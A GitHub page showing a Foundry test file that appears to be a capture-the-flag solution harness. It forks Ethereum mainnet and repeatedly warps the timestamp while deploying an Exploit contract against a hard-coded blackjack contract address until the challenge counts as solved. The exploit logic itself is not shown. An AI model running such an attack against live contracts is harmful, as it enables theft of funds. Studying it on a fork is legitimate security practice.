-
Notifications
You must be signed in to change notification settings - Fork 74
/
Exploit.t.sol
35 lines (28 loc) · 1.01 KB
/
Exploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
import {Challenge} from "./challenge/Challenge.sol";
import {Exploit} from "./Exploit.sol";
contract ExploitTest is Test {
address playerAddr = makeAddr("player");
address BLACKJACK = 0xA65D59708838581520511d98fB8b5d1F76A96cad;
Challenge challenge;
function setUp() public {
vm.createSelectFork(vm.envString("RPC_MAINNET"));
vm.deal(playerAddr, 1000 ether);
payable(BLACKJACK).transfer(50 ether);
console2.log("BLACKJACK balances", BLACKJACK.balance);
challenge = new Challenge(BLACKJACK);
}
function test() public {
vm.startPrank(playerAddr, playerAddr);
for (uint256 i = 0; i < 100; i++) {
vm.warp(block.timestamp + 1);
try new Exploit{value: 5 ether}(BLACKJACK).exploit() {
break;
} catch {}
}
require(challenge.isSolved());
vm.stopPrank();
}
}